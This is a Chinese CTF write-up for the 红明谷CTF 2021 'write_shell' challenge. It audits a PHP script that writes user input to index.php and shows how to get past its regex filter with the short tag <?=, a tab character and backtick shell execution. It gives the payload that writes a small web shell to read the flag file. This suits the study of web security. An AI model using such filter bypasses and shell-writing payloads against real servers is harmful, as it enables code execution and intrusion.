[红明谷CTF 2021]write_shell 1

目录

代码审计

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数

action=pwd时,显示路径

action=upload时,写入内容

check()

通过正则过滤

php 复制代码
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写

对php的过滤可使用短标签:<?=(代码)?>

对空格的过滤,可使用 "/t" 或 "%09"代替

没有过滤反引号,我们可以在反引号中执行shell命令

$_GET["action"] ?? ""

_GET\["action"\] ?? "":这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 _GET["action"] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 ""

解题

先查看路径

text 复制代码
payload:?action=pwd

查看目录

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径

访问:flllllll1112222222lag

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
相关推荐
盛世宏博北京1 小时前
以太网温湿度传感器运维技巧,提升设备稳定性与使用寿命
开发语言·php·以太网温湿度传感器
李白你好1 小时前
一款面向网络安全攻防演练场景的自动化信息收集工具。
安全·web安全·自动化
福大大架构师每日一题1 小时前
lmdeploy v0.12.3:视频输入、Qwen3.5、TurboMind 压缩张量、Ray 安全 API 等重大升级全面解析
安全·lmdeploy
Bruce_Liuxiaowei3 小时前
顺藤摸瓜:一次从防火墙告警到设备实物的溯源实战
运维·网络·网络协议·安全
黎阳之光3 小时前
去标签化无感定位技术突破,黎阳之光重构空间定位技术路径
大数据·人工智能·算法·安全·数字孪生
蒸汽求职4 小时前
北美求职身份过渡:Day 1 CPT 的合规红线与安全入职指南
开发语言·人工智能·安全·pdf·github·开源协议
calm134 小时前
通信网络单元的划分和级别调整方法分享
网络·安全·web安全
车载诊断技术5 小时前
2026年经济政策与投资方向核心
网络·安全·架构·汽车·系统工程与系统架构的内涵
oi..5 小时前
SRC 实战复盘:SSRF 漏洞挖掘、自动化检测及流量插件优化(含Burp suite 25.1.2文件)
笔记·web安全·网络安全·自动化·系统安全·安全架构
aq55356006 小时前
ThinkPHP5.x核心特性全解析
android·数据库·oracle·php·laravel